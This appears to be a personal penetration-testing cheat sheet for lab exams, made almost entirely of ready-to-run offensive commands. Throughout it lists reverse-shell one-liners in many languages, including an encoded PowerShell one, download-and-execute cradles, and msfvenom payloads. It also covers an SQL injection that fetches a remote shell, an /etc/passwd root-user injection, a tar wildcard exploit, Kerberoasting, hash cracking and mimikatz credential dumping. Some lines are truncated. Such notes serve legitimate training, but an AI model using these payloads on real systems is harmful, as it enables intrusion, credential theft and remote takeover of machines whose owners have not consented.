Scanning machines
Initial scan
ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.3'
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.16.116.200 -oG allPorts
## ligolo
nmap -p- -sT -Pn -n --min-rate 500 -T3 172.16.116.200 -vvv -oG allPorts
## vulnlab
nmap -p- -sS --min-rate 1000 T4 10.10.121.28 -oG allPorts
nmap -p- -vvv --min-rate 1000 -oG allPorts
## UDP
nmap -sS -sU --top-ports 500 -Pn -n -vvv -oG tcp_udp_scan 192.168.165.226
Exhaustive scan
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49668,49674,49676,49818,59647 -sCV 172.16.116.200 -oN targered.rb
## vulnlab
nmap -p21,22,25,5432,8080,8295 -sCV 192.168.132.56 -oN targeted.rb
If there’s a port 80, first run a quick fuzzing script to see what it detects
nmap --script http-enum -p80 -oN webScan 192.168.200.189
Run vulnerability reconnaissance scripts
nmap --script vuln -p 80,443 192.168.200.189
UDP
To scan the most common ports
nmap -sS -sU --top-ports 500 -Pn -n -vvv -oG tcp_udp_scan 10.10.11.9
To scan all ports
nmap -p- --open -sU --min-rate 5000 -n -Pn -vvv -oG allUDPPorts 10.10.11.87
Then to run reconnaissance scripts
nmap -sUCV -p500 10.10.11.87 -oN udpsCAN
CMS panels, FTP, etc
#Try
admin:admin
admin:password
admin:123456
default credentials
username:username
password
Password123
welcome
Welcome123
123456
[[How to identify a library’s version in Python]]
Virtual environment with Python
Many times we have scripts from github or searchsploit where we need to install requirements or libraries, the best thing is to create a virtual environment.
#this creates a folder in the current working folder
python3 -m venv venv
#we activate it
source venv/bin/activate
#now we can run the script or install whatever we need
pip3 install -r requirements.txt
python exploit.py
#exit the environment
deactivate
rm -rf venv
Ping sweep loop on Linux pivot hosts
for i in {1..254} ;do (ping -c 1 192.168.10.$i | grep "bytes from" &) ;done
## for a second-octet sweep
for j in {0..254}; do for i in {1..254}; do ping -c 1 -W 1 192.168.$j.$i 2>/dev/null | grep "bytes from" & done; done
Ping sweep loop using CMD
for /L %i in (1 1 254) do ping 192.168.0.%i -n 1 -w 100 | find "Reply"
Ping sweep with PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
Fping
fping -asgq 172.16.7.0/23
CVE
search like this
site:github.com CVE-2024-1086
Rebooting machines
If there are services we can’t stop and restart and we have a path hijacking or a dll we can reboot the machine
#windows
shutdown /r /t 0
#linux
reboot
sudo reboot
shutdown -r now
systemctl reboot
Burpsuite
burpsuite 2&>/dev/null & disown
Reverse Shells
See
[[1 – Reverse Shell, Bind Shells y Forward Shells]]
[[9 – Reversheshell nishang]]
[[10 – Revershell Powershell base64]]
shell upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -c "bash -i >& /dev/tcp/192.168.45.183/443 0>&1"
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.218",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
&3 2>&3"); ?>
php -r '$sock=fsockopen("192.168.45.218",80);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
netcat
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.218 1234 >/tmp/f
malicious exe payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.116 LPORT=80 -f exe -o httpd.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.199 LPORT=9999 -f exe -o rev.exe
## reverse shell payload via buffer overflow
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.169 LPORT=4411 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
listener endpoint
msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.45.235; set lport 7777; set ExitOnSession false; exploit -j"
powershell
powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.45.235:1337/Invoke-PowerShellTcp.ps1\")"
create powershell one liner
pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText
powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOAAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
After the oneline is created we can
Generate base64 powershell reverse shell (remember to change IP and PORT)
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.10",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
return cmd
STTY
script /dev/null -c bash
control z
stty raw -echo; fg
reset xterm
export TERM=xterm
stty rows 54 columns 236
## sh
python3 -c 'import pty; pty.spawn("/bin/sh")'
ICMP trace
tcpdump -i tun0 icmp -n
Cracking passwords
KeePass
First we extract the hash
keepass2john Database.kdbx > keepass.hash
We crack them with john or hashcat
john --wordlist=/home/leo/repos/projects/wordlists/passwords/rockyou.txt Keepasshash.txt
hashcat -m 13400 keepass.hash rockyou.txt -r rockyou-30000.rule --force
## john with MD5
john hash.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
## if it doesn't work
~/john/run/keepass2john Passwords.kdbx > hash.txt
~/john/run/john hash --wordlist=/usr/share/wordlists/rockyou.txt
ssh key
We extract the hash
ssh2john id_rsa > ssh.hash
We crack it with john and hashcat
john --wordlist=/usr/share/wordlists/passwords/rockyou.txt hash.txt
hashcat -m 22921 ssh.hash rockyou.txt --force
NTLM
We use hashcat with mode 1000
hashcat -m 1000 nelly.hash rockyou.txt -r best64.rule --force
Net-NTLMv2
We use hashcat with mode 5600
hashcat -m 5600 hash /usr/shares/wordlist/rockyou.txt --force
AS-REP roasting
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
$krb5asrep$23$dave@CORP.COM:b24a619cfa585dc1894fd6924162b099$1be2e632a9446d1447b5ea80b739075ad214a578f03773a7908f337aa705bcb711f8bce2ca751a876a7564bdbd4a926c10da32b01ec750cf35a2c37abde02f28b7aa363ffa1d18c9dd0262e43ab6a5447db24f71256120f94c24b17b1df465beed362fcb14a539b4e9678029f3b3556413208e8d644fed540d453e1af6f20ab909fd3d9d35ea8b17958b56fd8658b147186042faaa686931b2b75716502775d1a18c11bd4c50df9c2a6b5a7ce2804df3c71c7dbbd7af7adf3092baa56ea865dd6e6fbc8311f940cd78609f1a6b0cd3fd150ba402f14fccd90757300452ce77e45757dc22
## if we have access to windows through some vulnerability we list the users and run the attack
net user /domain
#also with powerview
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname
````
we crack it with hashcat using code `18200`
```c
sudo hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule --force
Kerberoasting
impacket-GetUserSPNs -request -dc-ip 10.10.132.146 oscp.exam/web_svc
$krb5tgs$23$*iis_service$corp.com$HTTP/web04.corp.com:80@corp.com*$940AD9DCF5DD5CD8E91A86D4BA0396DB$F57066A4F4F8FF5D70DF39B0C98ED7948A5DB08D689B92446E600B49FD502DEA39A8ED3B0B766E5CD40410464263557BC0E4025BFB92D89BA5C12C26C72232905DEC4D060D3C8988945419AB4A7E7ADEC407D22BF6871D...
we crack it with hashcat using code 13100
sudo hashcat -m 13100 hashes.kerberoast rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Creating a password with months and seasons of years for AD
#We put all the months in a file
January
February
March
April
May
June
July
August
September
October
November
December
Spring
Summer
Autumn
Fall
Winter
january
february
march
april
may
june
july
august
september
october
november
december
spring
summer
autumn
fall
winter
for i in $(cat temp); do echo $i; echo ${i}2022; echo ${i}2023; echo ${i}\! ;done > pass.txt
kerberoasting windows
mimikatz
## Kerberoasting windows, if we access a machine through a vulnerability we can perform a kerberoasting
klist
./mimikatz.exe
kerberos::list /export
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T....==
## we prepare the blob for cracking
echo "" | tr -d \\n > encoded_file
## we prepare the kirbi
cat encoded_file | base64 -d > sqldev.kirbi
## we extract the hash from the kirbi
python2.7 kirbi2john.py sqldev.kirbi
## we modify it for hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
#now we crack it
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
......de82d9de6c4d9c8d2a36fce65bbb337a415030ce1d03c00fd9783afb5df0ee8fbabfa358521ad845e6d07fde7d34f2311ebae6e6a119d60d899467a66f997c273d2df73350f2d6c5438e71a057feeab:database!
rubeus
.\Rubeus.exe kerberoast /nowrap
$krb5tgs$23$*testspn$INLANEFREIGHT.LOCAL$testspn/kerberoast.inlanefreight.local@INLANEFREIGHT.LOCAL*$CEA71B221FC2C00F8886261660536CC1$4A8E252D305475EB9410FF3E1E99517F90E27FB588173ACE3651DEACCDEC62..........
## now we save the hash to a file and crack it with hashcat
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
careful, if it’s AES format we crack it
hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt
Bypass to run scripts
powershell -ep bypass
. .\PowerView.ps1
PortForwarding Tunneling
chisel
If it’s just portforwarding [[1 – PORTFORWARDING (Resumen)]]
If we use proxychains
First we download the executable to the remote machine:
certutil -urlcache -split -f "http://192.168.45.172/PowerUp.ps1" PowerUp.ps1
.\PrintSpoofer.exe -c "c:\wamp\www\nc.exe 192.168.45.169 9090 -e cmd"
.\PrintSpoofer.exe -c "c:\temp\nc.exe 192.168.45.231 445 -e cmd"
192.168.45.231
Then, we start the executable on our attacking Linux machine:
./chisel server -p 1234 --reverse
And we connect to it from the remote machine using our IP during the connection.
chisel64.exe client 192.168.45.217:1234 R:socks
# this forwards port 443 to port 8080 of our victim machine
./chisel.exe client 192.168.45.156:1234 R:443:127.0.0.1:1433
This will, by default, create a SOCKS5 proxy on our local machine’s endpoint 127.0.0.1:1080.
To access that proxy, we can edit the proxychains configuration to add at the end:
socks5 127.0.0.1:1080
proxychains crackmapexec smb 10.10.10.24 -u 'user' -p 'password'
ssh
-
Local port forwarding: Option -L
“`cssh -L 8000:localhost:8000 user@victimip
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 user@server
- **Dynamic port forwarding**: Option -Dc
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
- **Remote port forwarding**: Option -Rc
First we run a local SSH service
sudo systemctl start ssh
Then, we connect again from the remote machine. In this case, we want to listen on port 2345 of our Kali machine (127.0.0.1:2345) and forward all traffic to the PostgreSQL port on PGDATABASE01 (10.4.50.215:5432).c
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
“`We stop our ssh service
c
sudo systemctl stop ssh -
Remote dynamic port forwarding: Created with the -R option but without specifying endpoints.
First we run a local SSH service
“`c
sudo systemctl start ssh
Then we connect again from the remote machine. This creates a SOCKS5 proxy on our local machine, on that port, that can access all interfaces available to the victim machine.
““c
ssh -N -R 9998 kali@192.168.118.4
We can then stop our SSH server.
c
sudo systemctl stop sshsocat
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
````
## DNS zone transfer attack
```c
dig axfr oscp.exam @192.168.221.156
Login with RDP
xfreerdp /u:yoshi /p:"Mushroom!" /v:172.16.219.82
KeePass database
kpcli --kdb=Database.kdbx
kpcli:/Database/Network> show -f 0
Extract data from pdf
exiftool -a file.pdf
Migrate to windows user
RunasCs
If we’re on a reverse shell and can’t run runas, for example, we can do the following
https://github.com/antonioCoco/RunasCs
We can get it already compiled here https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
We set up a listener and upload it to the machine
If our user is:
user:cbum
password:Tikkycoll_431012284
And we listen on 4646
we run
.\RunasCS.exe "web_svc" "Diamond1" "powershell.exe" -r 192.168.204.141:8080
.\RunasCS.exe "dmzadmin" "SlimGodhoodMope" "powershell.exe" -r 192.168.45.246:47001
.\RunasCS.exe "svc_mssql" "trustno1" "powershell.exe" -r 192.168.45.246:443
Brute Forcing
[[hydra]]
[[6 – Hydra]]
wget -m --no-passive ftp://anonymous:anonymous@192.168.167.140:20001
#Brute forcing RDP hydra
hydra -l user -P rockyou.txt rdp://192.168.50.202
#Brute forcing FTP with hydra
hydra -l itadmin -I -P rockyou.txt -s 21 ftp://192.168.247.202
#Brute forcing SSH with hydra
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201
#Brute forcing HTTP POST login with hydra
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
#Password spraying RDP with hydra
hydra -L users.txt -p "SuperS3cure1337#" rdp://192.168.247.202
HTTP
[[gobuster]]
# gobuster directory mode
gobuster dir -t 20 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.171.12 -x txt,bak
# gobuster vhost mode
gobuster vhost --wordlist /home/kali/repos/projects/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://oscp.exam:8000 --exclude-length 334
[[wfuzz]]
wfuzz
wfuzz -w /home/kali/repos/projects/SecLists/Discovery/DNS/subdomains-top1million-110000.txt http://192.168.238.150:8080/search?FUZZ=FUZZ
kiterunner to enumerate API endpoints
kiterunner scan http://192.168.243.143/api/ -w routes-small.kite -x 20
# php filters with LFI
curl http://192.168.193.16/meteor/index.php?page=php://filter/convert.base64-encode/resource=../../../../../../..//var/www/html/backup.php
curl http://192.168.193.16/meteor/index.php?page=data://text/plain,"
[[2 – Local File Inclusion (LFI)]]
See the rest in OWASP TOP 10
WordPress
[[3 – WordPress – Discovery & Enumeration]]
enumerate wordpress sites
# default enumeration
wpscan --url http://10.10.10.88/webservices/wp
# enumerates vulnerable plugins
wpscan --url http://10.10.10.88/webservices/wp --enumerate vp
# enumerates all plugins
wpscan --url http://10.10.10.88/webservices/wp --enumerate ap
# enumerate all plugins using proxy
wpscan --url http://10.10.10.88/webservices/wp/index.php --proxy 127.0.0.1:8080 --enumerate ap
# enumerate everything
wpscan --url http://10.10.10.88/webservices/wp/index.php --proxy 127.0.0.1:8080 --enumerate ap tt at
RPC
[[4.2 – ENumeracion de RPC]]
SMB
[[4 – Servicio SMB]]
# nmap for basic information
nmap -v -p 139,445 --script smb-os-discovery 192.168.50.152
#check for anonymous share
smbmap -H
crackmapexec smb 192.168.242.147 -u -p --shares
smbclient
#Connect to SMB share
smbclient //172.16.246.11/C$ -U medtech.com/joe%Password
smbclient //192.168.212.248/transfer -U damon --pw-nt-hash 820d6348590813116884101357197052 -W relia.com
#download recursively entire share
smbget -a -R smb://active/Replication
#list share of particular user with username and password
crackmapexec smb 192.168.242.147 -u web_svc -p Dade --shares
#list share of particular user with NTLM hash
crackmapexec smb 192.168.242.147 -u web_svc -H 822d2348890853116880101357194052
#password spraying
crackmapexec smb 192.168.242.147 -u usernames.txt -p Diamond1 --shares
#crawl all files
crackmapexec smb active -u "" -p "" -M spider_plus
SNMP
[[Enumeracion SNMP puerto 161]]
Linux
[[Escalada de privilegios Linux]]
# linenum
curl http://192.168.45.198/linenum.sh > linenum.sh
chmod +x linenum.sh
./linenum.sh | tee linenum_output.txt
# linpeas
curl http://192.168.45.198/linpeas.sh > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.txt
# pspy64 to view cronjobs
curl http://192.168.45.198/pspy64 > pspy64
chmod +x pspy64
./pspy64
# SUID files
find / -perm -u=s 2>/dev/null
# SGID files
find / -perm -g=s -type f 2>/dev/null
# search particular filename
find / -name "*GENERIC*" -ls
# print env variables
env
Windows
[[Escalada de Privilegios Windows]]
There will be times when we might have to run commands via SQL or via certain exploits that need character spacing etc., we must run them like this
"cmd.exe /c dir C:\\Users\usuerio\Downloads\\"
"powershell -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.45.169/Invoke-PowerShellTcp.ps1')"
"cmd.exe /c dir C:\\Users\\usuario\\Downloads\\"
powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.45.169/Invoke-PowerShellTcp.ps1')
Connect to MSSQL database
[[14 – Enumeracion MSSQL]]
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
File transfer
[[7 – Uso de netcat]]
certutil -urlcache -split -f "http://192.168.45.156/SharpHound.exe" SharpHound.exe
iwr -uri http://192.168.45.159:1337/winPEASx64.exe -Outfile winPEASx64.exe
# File transfer using netcat on windows
Get-Content "Database.kdbx" | .\nc.exe 192.168.45.239 5555
# Typical files to transfer
iwr -uri http://192.168.45.159:1337/ncat.exe -Outfile ncat.exe
iwr -uri http://192.168.45.159:1337/mimikatz64.exe -Outfile mimikatz64.exe
iwr -uri http://192.168.45.159:1337/chisel64.exe -Outfile chisel64.exe
iwr -uri http://192.168.45.159:1337/winpeas64.exe -Outfile winpeas64.exe
iwr -uri http://192.168.45.159:1337/privesccheck.ps1 -Outfile privesccheck.ps1
iwr -uri http://192.168.45.159:1337/SharpHound.exe -Outfile SharpHound.exe
iwr -uri http://192.168.45.159:1337/insomnia_shell.aspx -Outfile insomnia_shell.aspx
iwr -uri http://192.168.45.159:1337/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
iwr -uri http://192.168.45.159:1337/GodPotato-NET2.exe -Outfile GodPotato-NET2.exe
iwr -uri http://192.168.45.159:1337/GodPotato-NET4.exe -Outfile GodPotato-NET4.exe
iwr -uri http://192.168.45.159:1337/GodPotato-NET35.exe -Outfile GodPotato-NET35.exe
iwr -uri http://192.168.45.159:1337/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe
## Another type of file transfer
(new-object System.Net.WebClient).DownloadFile("http://10.10.122.141/Script/mimikatz64.exe", "C:\TEMP\mimikatz64.exe")
## SMB Service
impacket-smbserver smbfolder $(pwd) -smb2support -user kali -password kali
#now from windows we run
$pass = convertto-securestring 'kali' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('kali', $pass)
New-PSDrive -Name kali -PSProvider FileSystem -Credential $cred -Root \\192.168.45.205\smbfolder
# or also
net use \\192.168.45.246\smbfolder /user:kali kali
xp_cmdshell \\10.8.8.51\smbfolder\nc64.exe -e cmd.exe 10.8.8.51 443
smbserver.py -smb2support jprhack smb/
#we set up a listener
rlwrap nc -lnvp 443
#now from mssql
xp_cmdshell \\10.10.14.22\jprhack\nc64.exe -e cmd.exe 10.10.14.22 443
cd smbfolder:
copy smbfolder:\PrintSpoofer64.exe C:\TEMP
copy smbfolder:\ncat.exe C:\TEMP
copy smbfolder:\SharpHound.exe C:\TEMP
## windows
dir \\192.168.45.169\smbfolder
copy \\192.168.45.246\smbfolder\nc64.exe C:\temp\nc.exe
copy \\192.168.45.246\smbfolder\agent.exe C:\temp\agent.exe
copy \\192.168.45.246\smbfolder\LaZagne.exe C:\temp\LaZagne.exe
copy \\192.168.45.246\smbfolder\nc64.exe C:\temp\nc.exe
# if it's from the windows machine to ours it would be
copy ticket.kirbi \\YOUR_KALI_IP\smbfolder\
copy smbfolder:\RunasCS.exe C:\TEMP\RunasCS.exe
Automatic tools
winPEASx64 [https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
Issue with latest build of missing DLL. To fix use this release [https://github.com/carlospolop/PEASS-ng/releases/tag/20230423-4d9bddc5](https://github.com/carlospolop/PEASS-ng/releases/tag/20230423-4d9bddc5)
iwr -uri http://192.168.45.159:1337/winpeas64.exe -Outfile winpeas64.exe
./winPEASx64.exe
----
PrivescCheck [https://github.com/itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck)
iwr -uri http://192.168.45.159:1337/privesccheck.ps1 -Outfile privesccheck.ps1
. .\privesccheck.ps1
Invoke-PrivescCheck -Extended -Report "privesccheck_$($env:COMPUTERNAME)"
It is recommended to put **Invoke-AllChecks** at the end of the file since it will enumerate potential ways to escalate privileges.
# PowerUp.ps1 => We can download the file here with wget by getting it raw
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
#on windows we run
powershell -ep bypass
. .\PowerView.ps1
Windows AD
List all machines currently joined to the AD
Get-ADComputer -Filter * -Properties Name -Server "oscp.exam"
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
CrackMapExec
Enumerate smb, winrm, rdp and ssh with crackmapexec, with password and hashes
proxychains crackmapexec smb IP1 IP2 -u USERNAME -p PASSWORD --shares
proxychains crackmapexec winrm IP1 IP2 -u USERNAME -p PASSWORD --continue-on-success
proxychains crackmapexec rdp IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec ssh IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec smb IP1 IP2 -u USERNAME -H NTLM-HAHSH --shares
SharpHound & BloodHound
[[bloodhound]]
Or also
[[bloodhound-python]]
we transfer sharphound to the remote machine
iwr -uri http://192.168.45.159:1337/SharpHound.exe -Outfile SharpHound.exe
certutil -urlcache -split -f "http://192.168.45.170:1337/SharpHound.exe" SharpHound.exe
SQLi
[[14 – Enumeracion MSSQL]]
[[1 – 1 SQL INJECTION]] see this one and all the others there if needed
Basic SQLi
' OR 1=1 --
XP_CMDSHELL in mssql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
' ; EXEC xp_cmdshell 'powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.45.248:1337/Invoke-PowerShellTcp.ps1\")" '; --
Union select
username=' UNION SELECT 'nurhodelta','password','c','d','f','a','a' -- &password=password&login=
Linux
wildcard
[[Teacher]]
[[24 – wildcard]]
[[6 – Wildcard Abuse]]
Add root user to passwd file (root2:w00t)
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
Abuse tar wildcard `tar -zxf /tmp/backup.tar.gz *`
echo "python3 /tmp/rev.py" > demo.sh
touch -- "--checkpoint-action=exec=sh demo.sh"
touch -- "--checkpoint=1"
````
## Windows
TODO: [https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a) [https://github.com/r3motecontrol/Ghostpack-CompiledBinaries](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) [https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
---
Three steps to get a reverse shell using an untrusted exploit
```c
payload_1 = f'cmd.exe /c mkdir C:\TEMP'.encode('utf-8')
payload_3 = f'powershell -c "iwr -uri http://192.168.45.215/shell.exe -Outfile C:\TEMP\shell.exe"'.encode('utf-8')
payload_4 = f'cmd.exe /c "C:\TEMP\shell.exe"'.encode('utf-8')
SQLi using xp_cmdshell
[[14 – Enumeracion MSSQL]]
First we enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
and then we can execute our code
EXEC xp_cmdshell 'whoami';
to get a reverse shell execute
' ; EXEC xp_cmdshell 'powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.45.248:1337/Invoke-PowerShellTcp.ps1\")" '; --
Exploit SeImpersonatePriv
– Juicy.Potato.x86.exe ❌ → meant for modern Windows
C:\\wamp\\logs> Juicy.Potato.x86.exe -t * -p c:\\windows\\system32\\cmd.exe -a "/c c:\\wamp\\www\\nc.exe -e cmd.exe 192.168.52.200 21" -l 9002 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
- JuicyPotatoNG ❌ → meant for modern Windows
- RoguePotato ❌ → Windows 10 / Server 2016+
- PrintSpoofer ❌ → needs modern Print Spooler
- GodPotato ❌ → Windows 10+ / Server 2019+
[[7 – SeImpersonate and SeAssignPrimaryToken (juicypotato)]]
[[whoami priv SeImpersonatePrivilege]]
[[Granny(window)]]
[[churrasco.exe]]
[[maquinas/windows/ease/bounty|bounty]]
[[Resolucion de Maquinas Propias/HackTheBox/ease/bounty|bounty]] –> other notes
./PrintSpoofer64.exe -c "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"
.\PrintSpoofer64.exe -i -c powershell.exe
./GodPotato-NET2.exe -cmd "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"
./GodPotato-NET4.exe -cmd "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"
./GodPotato-NET35.exe -cmd "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"n
Dumping logon passwords with mimikatz when we are administrators on a workstation
[[7 – Atacking SAM]]32dsdsdsds
[[8 – Attacking LSASS]]
[[8 – Attacking Active Directory & NTDS.dit]] –> this only on DC
./mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"
## Dumping LSA with mimikatz
reg save hklm\sam sam.hiv
reg save hklm\security security.hiv
reg save hklm\system system.hiv
./mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam sam.hiv security.hiv system.hiv" "exit"
./mimikatz.exe "lsadump::sam /system:C:\TEMP\SYSTEM /sam:C:\TEMP\SAM" "exit"
./mimikatz.exe "lsadump::sam sam.hiv security.hiv system.hiv" "exit"
# the sam stuff on standalone machines
Change user. Requires a graphical user interface (GUI), such as an RDP session.
runas /user:Administrator cmd
## If we're on a console we can
